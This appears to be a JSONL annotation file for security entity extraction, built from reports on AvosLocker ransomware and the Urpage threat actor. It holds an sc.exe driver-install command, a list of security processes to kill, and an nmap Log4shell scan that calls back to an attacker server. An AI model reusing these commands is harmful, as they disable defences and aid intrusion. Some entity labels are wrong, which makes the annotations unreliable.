researchers.","entities":[{"id":45143,"label":"identity","start_offset":86,"end_offset":103}],"relations":[],"Comments":[]} +{"id":1822,"text":" Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk ","entities":[{"id":5369,"label":"tools","start_offset":95,"end_offset":102}],"relations":[],"Comments":[]} +{"id":1823,"text":"We found an Avast anti-rootkit driver installed as service 'asWarPot.sys' using the command sc.exe create aswSP_ArPot2 binPath= C:\\windows\\aswArPot.sys type= kernel.","entities":[{"id":46957,"label":"FILEPATH","start_offset":60,"end_offset":72},{"id":46958,"label":"FILEPATH","start_offset":92,"end_offset":98},{"id":46959,"label":"FILEPATH","start_offset":129,"end_offset":152},{"id":46960,"label":"SOFTWARE","start_offset":12,"end_offset":37}],"relations":[{"id":279,"from_id":46960,"to_id":46957,"type":"consists-of"}],"Comments":[]} +{"id":1824,"text":"It installs the driver file in preparation for disabling the running antivirus product.","entities":[],"relations":[],"Comments":[]} +{"id":1825,"text":"We noted the unusual use of cmd.exe for execution of the file.","entities":[{"id":5374,"label":"malware","start_offset":28,"end_offset":35}],"relations":[],"Comments":[]} +{"id":1826,"text":" Figure 14.","entities":[],"relations":[],"Comments":[]} +{"id":1827,"text":"Executing the anti-rootkit driver in the system ","entities":[],"relations":[],"Comments":[]} +{"id":1828,"text":"Mimikatz components were also copied to the affected machine via AnyDeskMSI.","entities":[{"id":5378,"label":"tools","start_offset":0,"end_offset":8},{"id":46961,"label":"tools","start_offset":65,"end_offset":75}],"relations":[{"id":277,"from_id":46961,"to_id":5378,"type":"drops"}],"Comments":[]} +{"id":1829,"text":"However, these components were detected and deleted.","entities":[],"relations":[],"Comments":[]} +{"id":1830,"text":" Figure 15.","entities":[],"relations":[],"Comments":[]} +{"id":1831,"text":"Detecting and deleting Mimikatz We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver).","entities":[{"id":5382,"label":"tools","start_offset":23,"end_offset":31},{"id":5383,"label":"tools","start_offset":53,"end_offset":63},{"id":46962,"label":"SOFTWARE","start_offset":144,"end_offset":169},{"id":46963,"label":"FILEPATH","start_offset":117,"end_offset":129},{"id":46964,"label":"attack-pattern","start_offset":71,"end_offset":102}],"relations":[{"id":278,"from_id":46962,"to_id":46963,"type":"consists-of"}],"Comments":[]} +{"id":1832,"text":"A list of security product processes was supplied and subsequently terminated by the driver. Figure 16.","entities":[],"relations":[],"Comments":[]} +{"id":1833,"text":"Listing","entities":[],"relations":[],"Comments":[]} +{"id":1834,"text":"and","entities":[],"relations":[],"Comments":[]} +{"id":1835,"text":"terminating the security products found running in the compromised system ","entities":[],"relations":[],"Comments":[]} +{"id":1836,"text":"Verification: Manual replication of antivirus disabling routine","entities":[],"relations":[],"Comments":[]} +{"id":1837,"text":"We manually replicated the routine and commands for disabling the defense solutions to further look into the routine.","entities":[],"relations":[],"Comments":[]} +{"id":1838,"text":"Figure 17 shows the list of processes that the routine searches on infection : EndpointBasecamp.exe Trend Micro Endpoint Basecamp ResponseService.exe PccNTMon.exe SupportConnector.exe AOTAgent.exe CETASvc.exe CETASvc iVPAgent.exe tmwscsvc.exe TMResponse AOTAgentSvc TMBMServer iVPAgent Trend Micro Web Service Communicator Tmccsf Tmlisten Ntrtscan TmWSCSvc Figure 17.","entities":[{"id":46965,"label":"FILEPATH","start_offset":80,"end_offset":100},{"id":46966,"label":"FILEPATH","start_offset":131,"end_offset":150},{"id":46967,"label":"FILEPATH","start_offset":151,"end_offset":163},{"id":46968,"label":"FILEPATH","start_offset":164,"end_offset":184},{"id":46972,"label":"FILEPATH","start_offset":218,"end_offset":230},{"id":46969,"label":"FILEPATH","start_offset":185,"end_offset":197},{"id":46971,"label":"FILEPATH","start_offset":198,"end_offset":209},{"id":46973,"label":"FILEPATH","start_offset":231,"end_offset":243},{"id":46974,"label":"SOFTWARE","start_offset":101,"end_offset":130},{"id":46975,"label":"SOFTWARE","start_offset":287,"end_offset":323}],"relations":[],"Comments":[]} +{"id":1839,"text":"Searching for processes We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.","entities":[{"id":45144,"label":"FILEPATH","start_offset":42,"end_offset":54}],"relations":[],"Comments":[]} +{"id":1840,"text":" Figure 18.","entities":[],"relations":[],"Comments":[]} +{"id":1841,"text":"Driver file preparing to disable an antivirus product The DeviceIoControl function is used to execute parts of the driver.","entities":[],"relations":[],"Comments":[]} +{"id":1842,"text":"In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above.","entities":[],"relations":[],"Comments":[]} +{"id":1843,"text":"Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.","entities":[],"relations":[],"Comments":[]} +{"id":1844,"text":" Figure 19.","entities":[],"relations":[],"Comments":[]} +{"id":1845,"text":"DeviceIoControl as an argument with the current process ID ","entities":[],"relations":[],"Comments":[]} +{"id":1846,"text":"Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case.","entities":[{"id":46976,"label":"FILEPATH","start_offset":7,"end_offset":19}],"relations":[],"Comments":[]} +{"id":1847,"text":"Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.","entities":[],"relations":[],"Comments":[]} +{"id":1848,"text":" Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).","entities":[],"relations":[],"Comments":[]} +{"id":1849,"text":" Other executions and lateral movement","entities":[{"id":46977,"label":"attack-pattern","start_offset":25,"end_offset":41}],"relations":[],"Comments":[]} +{"id":1850,"text":"After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.","entities":[{"id":46979,"label":"tools","start_offset":112,"end_offset":120},{"id":46978,"label":"malware","start_offset":57,"end_offset":67},{"id":46980,"label":"tools","start_offset":125,"end_offset":133}],"relations":[{"id":280,"from_id":46978,"to_id":46979,"type":"downloads"},{"id":281,"from_id":46978,"to_id":46980,"type":"downloads"}],"Comments":[]} +{"id":1851,"text":" Figure 21. Execution of Mimikatz (above) and Impacket via C:\\temp\\wmiexec.exe (below)","entities":[{"id":45148,"label":"tools","start_offset":50,"end_offset":58},{"id":45146,"label":"tools","start_offset":29,"end_offset":37},{"id":45147,"label":"FILEPATH","start_offset":63,"end_offset":82}],"relations":[],"Comments":[]} +{"id":1852,"text":" We also observed the execution of a password recovery tool XenArmor with C:\\temp\\pass\\start.exe.","entities":[{"id":46982,"label":"tools","start_offset":63,"end_offset":71},{"id":46981,"label":"FILEPATH","start_offset":77,"end_offset":99}],"relations":[{"id":282,"from_id":46982,"to_id":46981,"type":"consists-of"}],"Comments":[]} +{"id":1853,"text":" Figure 22. XenArmor password recovery tool execution ","entities":[{"id":46983,"label":"tools","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]} +{"id":1854,"text":"We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network.","entities":[{"id":45150,"label":"vulnerability","start_offset":60,"end_offset":69},{"id":45149,"label":"tools","start_offset":35,"end_offset":39},{"id":45152,"label":"vulnerability","start_offset":75,"end_offset":109},{"id":45153,"label":"vulnerability","start_offset":124,"end_offset":138}],"relations":[],"Comments":[]} +{"id":1855,"text":"They used the command nmap --script log4shell.nse --script-args log4shell.waf-bypass=true --script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx\/xx, and set the callback server to the attacker group C&C server. Figure 23.","entities":[{"id":5436,"label":"tools","start_offset":22,"end_offset":26}],"relations":[],"Comments":[]} +{"id":1856,"text":"Checking for log4shell We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.","entities":[{"id":5440,"label":"attack-pattern","start_offset":49,"end_offset":87},{"id":46984,"label":"attack-pattern","start_offset":123,"end_offset":139}],"relations":[],"Comments":[]} +{"id":1857,"text":" Figure 24. Running more system network configuration discovery scans","entities":[{"id":5442,"label":"attack-pattern","start_offset":29,"end_offset":67}],"relations":[],"Comments":[]} +{"id":1858,"text":" Deploying across the network We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.","entities":[{"id":46986,"label":"attack-pattern","start_offset":83,"end_offset":113},{"id":46985,"label":"tools","start_offset":65,"end_offset":68}],"relations":[{"id":283,"from_id":46986,"to_id":46985,"type":"uses"}],"Comments":[]} +{"id":1859,"text":" Figure 25. Deploying malicious batch scripts to other endpoints The deployed batch script has the following commands: Disable Windows Update and Microsoft Defender Figure 26. Disable Microsoft defense services Prevents safeboot execution of security products Figure 27. Prevent security products’ execution Create new administrator account Figure 28. Create new account Add the AutoStart mechanism for the AvosLocker executable (update.exe) Figure 29. Add Autostart for ransomware executable Disables legal notice caption Figure 30. Disable legal notice Set safeboot with networking and disables Windows Error Recovery and reboot Figure 31. Setting and disabling network and specific Windows functions Conclusion","entities":[{"id":46990,"label":"malware","start_offset":449,"end_offset":459},{"id":46991,"label":"FILEPATH","start_offset":472,"end_offset":482},{"id":46987,"label":"tools","start_offset":136,"end_offset":150},{"id":46988,"label":"tools","start_offset":155,"end_offset":173}],"relations":[],"Comments":[]} +{"id":1860,"text":"While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it.","entities":[{"id":45154,"label":"malware","start_offset":6,"end_offset":16},{"id":45155,"label":"tools","start_offset":54,"end_offset":61},{"id":45156,"label":"attack-pattern","start_offset":66,"end_offset":82}],"relations":[{"id":77,"from_id":45154,"to_id":45155,"type":"uses"},{"id":284,"from_id":45156,"to_id":45155,"type":"uses"},{"id":285,"from_id":45154,"to_id":45156,"type":"uses"}],"Comments":[]} +{"id":1861,"text":"We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones.","entities":[],"relations":[],"Comments":[]} +{"id":1862,"text":"In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).","entities":[],"relations":[],"Comments":[]} +{"id":1863,"text":"This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice.","entities":[],"relations":[],"Comments":[]} +{"id":1864,"text":"Other modern ransomware, such as Mespinoza\/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.","entities":[{"id":5472,"label":"threat-actor","start_offset":43,"end_offset":47},{"id":5471,"label":"threat-actor","start_offset":33,"end_offset":42}],"relations":[],"Comments":[]} +{"id":1865,"text":"Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks.","entities":[{"id":5474,"label":"malware","start_offset":64,"end_offset":74}],"relations":[],"Comments":[]} +{"id":1866,"text":"Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence","entities":[],"relations":[],"Comments":[]} +{"id":1867,"text":"grows in sophistication.","entities":[],"relations":[],"Comments":[]} +{"id":1868,"text":"In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.","entities":[{"id":46992,"label":"identity","start_offset":55,"end_offset":61}],"relations":[],"Comments":[]} +{"id":1869,"text":"However, and specific to this instance, the attempt to kill an antivirus product such as this variant’s TaskKill can also be foiled.","entities":[],"relations":[],"Comments":[]} +{"id":1870,"text":"In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine.","entities":[{"id":46993,"label":"SOFTWARE","start_offset":22,"end_offset":44}],"relations":[],"Comments":[]} +{"id":1871,"text":"The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.","entities":[],"relations":[],"Comments":[]} +{"id":1872,"text":"Avast responded to our notification with this statement: \"We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021.","entities":[{"id":45157,"label":"FILEPATH","start_offset":123,"end_offset":135},{"id":45158,"label":"SOFTWARE","start_offset":159,"end_offset":169},{"id":45159,"label":"TIME","start_offset":182,"end_offset":191},{"id":45160,"label":"identity","start_offset":0,"end_offset":5}],"relations":[{"id":286,"from_id":45158,"to_id":45157,"type":"consists-of"}],"Comments":[]} +{"id":1873,"text":"We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can't be loaded to memory.","entities":[{"id":46995,"label":"SOFTWARE","start_offset":71,"end_offset":107},{"id":46994,"label":"identity","start_offset":28,"end_offset":37},{"id":46996,"label":"SOFTWARE","start_offset":135,"end_offset":147}],"relations":[],"Comments":[]} +{"id":1874,"text":"The below example shows that the blocking works (output from the \"sc start\" command):","entities":[],"relations":[],"Comments":[]} +{"id":1875,"text":" (SC) StartService FAILED 1275: This driver has been blocked from loading","entities":[],"relations":[],"Comments":[]} +{"id":1876,"text":"The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft's security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.","entities":[{"id":46997,"label":"SOFTWARE","start_offset":34,"end_offset":58},{"id":46998,"label":"TIME","start_offset":76,"end_offset":84},{"id":47000,"label":"identity","start_offset":115,"end_offset":124},{"id":47001,"label":"TIME","start_offset":147,"end_offset":152},{"id":46999,"label":"identity","start_offset":16,"end_offset":25},{"id":47002,"label":"SOFTWARE","start_offset":188,"end_offset":205}],"relations":[],"Comments":[]} +{"id":1877,"text":"All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.","entities":[{"id":47003,"label":"SOFTWARE","start_offset":48,"end_offset":53},{"id":47004,"label":"SOFTWARE","start_offset":58,"end_offset":61},{"id":47005,"label":"malware","start_offset":84,"end_offset":94}],"relations":[],"Comments":[]} +{"id":1878,"text":"For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.\"","entities":[{"id":47006,"label":"SOFTWARE","start_offset":126,"end_offset":143}],"relations":[],"Comments":[]} +{"id":1879,"text":"Indicators of Compromise (IOCs) File SHA256 Detection Malicious batch file component a5ad3355f55e1a15baefea83ce81d038531af516f47716018b1dedf04f081f15","entities":[{"id":5521,"label":"SHA1","start_offset":91,"end_offset":155}],"relations":[],"Comments":[]} +{"id":1880,"text":"Trojan","entities":[],"relations":[],"Comments":[]} +{"id":1881,"text":"BAT.KILLAV.YACAA","entities":[],"relations":[],"Comments":[]} +{"id":1882,"text":"AvosLocker executable 05ba2df0033e3cd5b987d66b6de545df439d338a20165c0ba96cde8a74e463e5 Ransom.Win32.AVOSLOCKER.SMYXBLNT Mimikatz executable (x32 and x64) 912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 HackTool.Win64.MIMIKATZ.ZTJA e81a8f8ad804c4d83869d7806a303ff04f31cce376c5df8aada2e9db2c1eeb98 HackTool.Win32.Mimikatz.CNFW Log4shell Nmap NSE script ddcb0e99f27e79d3536a15e0d51f7f33c38b2ae48677570f36f5e92863db5a96 Backdoor.Win32.CVE202144228.YACAH Impacket tool 14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8 HackTool.Win32.Impacket.AA","entities":[{"id":5525,"label":"tools","start_offset":120,"end_offset":128},{"id":5529,"label":"tools","start_offset":352,"end_offset":356},{"id":5523,"label":"SHA2","start_offset":22,"end_offset":86},{"id":5530,"label":"SHA2","start_offset":368,"end_offset":432},{"id":5522,"label":"malware","start_offset":0,"end_offset":10},{"id":5527,"label":"SHA2","start_offset":154,"end_offset":218},{"id":5528,"label":"SHA2","start_offset":248,"end_offset":312},{"id":5533,"label":"SHA2","start_offset":481,"end_offset":545},{"id":5531,"label":"tools","start_offset":467,"end_offset":475},{"id":47007,"label":"tools","start_offset":546,"end_offset":572},{"id":47009,"label":"tools","start_offset":219,"end_offset":247},{"id":47011,"label":"vulnerability","start_offset":342,"end_offset":351},{"id":47012,"label":"malware","start_offset":87,"end_offset":119},{"id":47008,"label":"tools","start_offset":313,"end_offset":341},{"id":47010,"label":"tools","start_offset":433,"end_offset":466}],"relations":[{"id":288,"from_id":47012,"to_id":5522,"type":"duplicate-of"},{"id":287,"from_id":5522,"to_id":5523,"type":"consists-of"}],"Comments":[]} +{"id":1883,"text":" Tags Malware | Exploits & Vulnerabilities | Cyber Threats | APT & Targeted Attacks | Compliance & Risks | Endpoints | Ransomware | Network | Articles, News, Reports","entities":[],"relations":[],"Comments":[]} +{"id":1884,"text":"In the process of monitoring changes in the threat landscape, we get a clearer insight into the way threat actors work behind the schemes.","entities":[],"relations":[],"Comments":[]} +{"id":1885,"text":"In this case we dig deeper into the possible connection between cyberattacks by focusing on the similarities an unnamed threat actor shares with Confucius, Patchwork, and another threat actor called Bahamut.","entities":[{"id":47014,"label":"threat-actor","start_offset":156,"end_offset":165},{"id":47013,"label":"threat-actor","start_offset":145,"end_offset":154},{"id":47015,"label":"threat-actor","start_offset":199,"end_offset":206}],"relations":[],"Comments":[]} +{"id":1886,"text":"For the sake of this report, we will call this unnamed threat actor “Urpage.”","entities":[{"id":47016,"label":"threat-actor","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]} +{"id":1887,"text":"What sets Urpage attacks apart is its targeting of InPage, a word processor for Urdu and Arabic languages.","entities":[{"id":45163,"label":"SOFTWARE","start_offset":51,"end_offset":57},{"id":45162,"label":"threat-actor","start_offset":10,"end_offset":16}],"relations":[{"id":78,"from_id":45162,"to_id":45163,"type":"targets"}],"Comments":[]} +{"id":1888,"text":"However, its Delphi backdoor component, which it has in common with Confucius and Patchwork, and its apparent use of Bahamut-like malware, is what makes it more intriguing as it connects Urpage to these other known threats.","entities":[{"id":47017,"label":"threat-actor","start_offset":68,"end_offset":77},{"id":47019,"label":"threat-actor","start_offset":82,"end_offset":91},{"id":47020,"label":"threat-actor","start_offset":117,"end_offset":124},{"id":47021,"label":"threat-actor","start_offset":187,"end_offset":193}],"relations":[],"Comments":[]} +{"id":1889,"text":"In our previous entry, we already covered the Delphi component in the context of the Confucius and Patchwork connection.","entities":[{"id":47022,"label":"threat-actor","start_offset":85,"end_offset":94},{"id":47023,"label":"threat-actor","start_offset":99,"end_offset":108}],"relations":[],"Comments":[]} +{"id":1890,"text":"We mentioned Urpage as a third unnamed threat actor connected to the two.","entities":[{"id":45164,"label":"threat-actor","start_offset":13,"end_offset":19}],"relations":[],"Comments":[]} +{"id":1891,"text":"This time, we look into Urpage to gain a deeper insight into the way several threat actors' actions intersect.","entities":[{"id":47024,"label":"threat-actor","start_offset":24,"end_offset":30}],"relations":[],"Comments":[]} +{"id":1892,"text":"The Bahamut Link Fake websites","entities":[{"id":5568,"label":"threat-actor","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]} +{"id":1893,"text":"The link between Bahamut and Urpage can be best discussed by way of the multiple malicious Android samples that matched Bahamut's code and had C&C belonging to the Urpage infrastructure.","entities":[{"id":45170,"label":"Infrastucture","start_offset":143,"end_offset":146},{"id":45167,"label":"threat-actor","start_offset":120,"end_offset":128},{"id":5570,"label":"threat-actor","start_offset":17,"end_offset":24},{"id":5572,"label":"threat-actor","start_offset":29,"end_offset":35},{"id":5578,"label":"threat-actor","start_offset":164,"end_offset":170},{"id":47025,"label":"SOFTWARE","start_offset":91,"end_offset":106}],"relations":[{"id":289,"from_id":5570,"to_id":5572,"type":"related-to"}],"Comments":[]} +{"id":1894,"text":"Some of these C&C websites also act as phishing sites that lure users into downloading these very applications.","entities":[{"id":47026,"label":"attack-pattern","start_offset":39,"end_offset":47}],"relations":[],"Comments":[]} +{"id":1895,"text":"The threat actor sets up these fake websites describing the application and linking to the Google Play Store to download it, like in the case of the malicious website, pikrpro[.]eu, seen below Another sample website involved the use of a closely copied version of an existing website, with slight changes in the logo and options above the page.","entities":[{"id":47027,"label":"SOFTWARE","start_offset":91,"end_offset":108},{"id":47028,"label":"DOMAIN","start_offset":168,"end_offset":180}],"relations":[],"Comments":[]} +{"id":1896,"text":"The download links were also replaced to download the malicious Android application instead.","entities":[{"id":45171,"label":"SOFTWARE","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]} +{"id":1897,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]} +{"id":1898,"text":"Original (top) and modified (bottom) website","entities":[],"relations":[],"Comments":[]} +{"id":1899,"text":"Upon writing this entry, we’ve coordinated with Google to ensure that the malicious applications these C&C sites advertise are no longer available for download on the Google Play Store.","entities":[{"id":45172,"label":"identity","start_offset":48,"end_offset":54},{"id":45173,"label":"SOFTWARE","start_offset":167,"end_offset":184}],"relations":[],"Comments":[]} +{"id":1900,"text":"It is important to note however, that not all C&C websites for Urpage advertise malicious applications.","entities":[{"id":5595,"label":"threat-actor","start_offset":63,"end_offset":69}],"relations":[],"Comments":[]} +{"id":1901,"text":" Some simply contain a random template with empty categories, likely as a ploy to hide its malicious activities.","entities":[],"relations":[],"Comments":[]} +{"id":1902,"text":"Android targeting","entities":[{"id":45174,"label":"SOFTWARE","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} +{"id":1903,"text":"As with Bahamut applications, once downloaded and executed, it showed multiple malicious features that deal with stealing information.","entities":[{"id":47030,"label":"attack-pattern","start_offset":113,"end_offset":133},{"id":47029,"label":"threat-actor","start_offset":8,"end_offset":15}],"relations":[{"id":290,"from_id":47029,"to_id":47030,"type":"uses"}],"Comments":[]} +{"id":1904,"text":"Some of these features are listed below.","entities":[],"relations":[],"Comments":[]} +{"id":1905,"text":" Retrieves basic information like network information and MAC address from an infected phone SMS stealing Contacts stealing Audio recording GPS location retrieval Steals files with the specific extensions, although not all samples target these extensions.","entities":[],"relations":[],"Comments":[]} +{"id":1906,"text":" File type File extensions Document files .txt, .csv, .doc, .docx, .xls, .xlsx, .pdf WhatsApp databases .db.crypt5 to .db.crypt12 Geolocation related files .kml, .kmz, .gmx, .aqm Audio files .mp3, .opus Videos .mp4, .amr, .wmv, .3gp, Pictures .jpeg, .jpg ","entities":[{"id":47031,"label":"SOFTWARE","start_offset":86,"end_offset":94}],"relations":[],"Comments":[]} +{"id":1907,"text":"Of note is one specific application that had a different purpose from the others.","entities":[],"relations":[],"Comments":[]} +{"id":1908,"text":"This application has the same encryption routine as other Urpage applications.","entities":[{"id":45175,"label":"threat-actor","start_offset":58,"end_offset":64}],"relations":[],"Comments":[]} +{"id":1909,"text":"Instead of stealing documents or images, it works on top of a modified version of the legitimate Threema, an end-to-end encrypted messaging application, to steal screenshots of messages.","entities":[{"id":47032,"label":"SOFTWARE","start_offset":97,"end_offset":104}],"relations":[],"Comments":[]} +{"id":1910,"text":"This application has the same icon and label as the legitimate Threema.","entities":[{"id":47033,"label":"SOFTWARE","start_offset":63,"end_offset":70}],"relations":[],"Comments":[]} +{"id":1911,"text":"Once launched, it drops a modified APK version of Threema and prompts the user to install the application.","entities":[{"id":45176,"label":"SOFTWARE","start_offset":50,"end_offset":57}],"relations":[],"Comments":[]} +{"id":1912,"text":"The malicious application then hides its icon on the device but still runs in the background, while the modified Threema works like normal.","entities":[{"id":47034,"label":"SOFTWARE","start_offset":113,"end_offset":120}],"relations":[],"Comments":[]} +{"id":1913,"text":"Unknown to the user, the code in the modified Threema allows it to take screenshots of itself every 10 seconds.","entities":[{"id":5617,"label":"TIME","start_offset":94,"end_offset":110},{"id":47035,"label":"SOFTWARE","start_offset":46,"end_offset":53}],"relations":[],"Comments":[]} +{"id":1914,"text":"These images are stored in the location\/sdcard\/Android\/data\/ch.threema.app\/DataData directory, while the “dropper” or the malicious application working in the background uploads the images to the C&C for the threat actor to access.","entities":[{"id":45177,"label":"FILEPATH","start_offset":39,"end_offset":83},{"id":45178,"label":"Infrastucture","start_offset":196,"end_offset":199}],"relations":[],"Comments":[]} +{"id":1915,"text":"Figure 2. Comparison of legitimate Threema code (left) to the modified version (right) with the inserted code","entities":[{"id":47036,"label":"SOFTWARE","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]} +{"id":1916,"text":"Other activities","entities":[],"relations":[],"Comments":[]} +{"id":1917,"text":"Aside from acting as a C&C and distributing Bahamut-like malware, some of these websites also serve as the host for other malicious documents.","entities":[{"id":45179,"label":"threat-actor","start_offset":44,"end_offset":51}],"relations":[],"Comments":[]} +{"id":1918,"text":"These other activities further establish the link of Urpage — and consequently Bahamut — to other threat actors.","entities":[{"id":5624,"label":"threat-actor","start_offset":53,"end_offset":59},{"id":47037,"label":"threat-actor","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]} +{"id":1919,"text":"Take, for example, the previously mentioned pikrpro[.]eu.","entities":[{"id":47038,"label":"DOMAIN","start_offset":44,"end_offset":56}],"relations":[],"Comments":[]} +{"id":1920,"text":"This C&C website also acts as host not only for the malicious Android application but also for two other malicious documents listed here.","entities":[{"id":45180,"label":"SOFTWARE","start_offset":62,"end_offset":69}],"relations":[],"Comments":[]} +{"id":1921,"text":" A malicious RTF file that exploits the CVE-2017-8750 and drops a malicious VB backdoor with C&C appswonder[.]info A malicious InPage file that exploits CVE-2017-12824 and drops two files, one non-malicious, and one malicious VB backdoor with C&C referfile[.]com Talos recently reported both C&C domain names with one type of campaign that targets iOS and involves MDM, and another type using VB and Delphi backdoors.","entities":[{"id":47039,"label":"vulnerability","start_offset":40,"end_offset":53},{"id":47042,"label":"DOMAIN","start_offset":247,"end_offset":262},{"id":47043,"label":"identity","start_offset":264,"end_offset":269},{"id":47044,"label":"SOFTWARE","start_offset":349,"end_offset":352},{"id":47045,"label":"malware","start_offset":3,"end_offset":16},{"id":47040,"label":"vulnerability","start_offset":153,"end_offset":167},{"id":47041,"label":"DOMAIN","start_offset":97,"end_offset":114}],"relations":[{"id":291,"from_id":47045,"to_id":47039,"type":"exploits"},{"id":292,"from_id":47045,"to_id":47041,"type":"communicates-with"}],"Comments":[]} +{"id":1922,"text":"This leads us back to the Confucius and Patchwork link.","entities":[{"id":5646,"label":"threat-actor","start_offset":40,"end_offset":49},{"id":47046,"label":"threat-actor","start_offset":26,"end_offset":35}],"relations":[],"Comments":[]} +{"id":1923,"text":"The Confucius Link","entities":[{"id":47047,"label":"threat-actor","start_offset":4,"end_offset":13}],"relations":[],"Comments":[]} +{"id":1924,"text":"In our previous entry, we already discussed how Confucius used the same Delphi file stealer as Urpage.","entities":[{"id":47048,"label":"threat-actor","start_offset":48,"end_offset":57},{"id":47049,"label":"threat-actor","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]} +{"id":1925,"text":"Digging into Urpage, we found another link—two malicious RTF files that exploit different vulnerabilities but download a similar script (detected as TROJ_POWLOAD.GAA) containing two base64-encoded URLs.","entities":[{"id":47050,"label":"threat-actor","start_offset":13,"end_offset":19}],"relations":[],"Comments":[]} +{"id":1926,"text":"One of the URLs is for the decoy document, while the other one is for the payload.","entities":[],"relations":[],"Comments":[]} +{"id":1927,"text":"One of the RTF files was found in a server related to Confucius (f1a54dca2fdfe59ec3f537148460364fb5d046c9b4e7db5fc819a9732ae0e063, detected as TROJ_CVE201711882.AG), while the other one (434d34c0502910c562f5c6840694737a2c82a8c44004fa58c7c457b08aac17bd,detected as Mal_CVE20170199-2) downloaded a VB Backdoor that pings back to twitck[.]com, a domain name belonging to Urpage.","entities":[{"id":5662,"label":"SHA2","start_offset":187,"end_offset":251},{"id":5659,"label":"threat-actor","start_offset":54,"end_offset":63},{"id":5660,"label":"SHA2","start_offset":65,"end_offset":129},{"id":47051,"label":"malware","start_offset":143,"end_offset":163},{"id":47052,"label":"malware","start_offset":264,"end_offset":281},{"id":47053,"label":"DOMAIN","start_offset":327,"end_offset":339},{"id":47054,"label":"threat-actor","start_offset":368,"end_offset":374}],"relations":[{"id":293,"from_id":5660,"to_id":5659,"type":"authored-by"},{"id":294,"from_id":47051,"to_id":5660,"type":"related-to"},{"id":295,"from_id":47051,"to_id":5659,"type":"authored-by"},{"id":296,"from_id":5662,"to_id":5659,"type":"authored-by"},{"id":297,"from_id":47052,"to_id":5659,"type":"authored-by"},{"id":298,"from_id":47052,"to_id":47053,"type":"beacons-to"},{"id":299,"from_id":47054,"to_id":47053,"type":"controls"}],"Comments":[]} +{"id":1928,"text":"The Patchwork Link Patchwork also uses the Delphi file stealer as a similarity with Urpage, which suggests the three groups are somehow related.","entities":[{"id":5664,"label":"threat-actor","start_offset":4,"end_offset":13},{"id":5665,"label":"threat-actor","start_offset":19,"end_offset":28},{"id":47055,"label":"threat-actor","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]} +{"id":1929,"text":"But this link is further fortified by the Android applications we found whose code is like that of Bahamut, with the C&C matching the usual name registration pattern of Patchwork’s group, as well as an infrastructure close to an old Patchwork domain.","entities":[{"id":45181,"label":"SOFTWARE","start_offset":42,"end_offset":49},{"id":45183,"label":"threat-actor","start_offset":169,"end_offset":178},{"id":45184,"label":"threat-actor","start_offset":233,"end_offset":242},{"id":45182,"label":"malware","start_offset":99,"end_offset":106}],"relations":[{"id":80,"from_id":45182,"to_id":45183,"type":"attributed-to"}],"Comments":[]} +{"id":1931,"text":"Patchwork has also recently employed Android malware in its attacks, with its use of a customized version of AndroRAT.","entities":[{"id":47056,"label":"malware","start_offset":109,"end_offset":117},{"id":47058,"label":"SOFTWARE","start_offset":37,"end_offset":44},{"id":47057,"label":"threat-actor","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]} +{"id":1932,"text":"Summary","entities":[],"relations":[],"Comments":[]} +{"id":1933,"text":"The many similarities and connections show that threat actors do not work in isolation, and that attacks do not necessarily appear from out of nowhere.","entities":[],"relations":[],"Comments":[]} +{"id":1934,"text":"This may even suggest that a single development team may be behind this attack — maybe a single paid group that has sold its tools and services to other groups with different goals and targets.","entities":[],"relations":[],"Comments":[]} +{"id":1935,"text":"We’ve summarized all the mentioned findings in the table below.","entities":[],"relations":[],"Comments":[]} 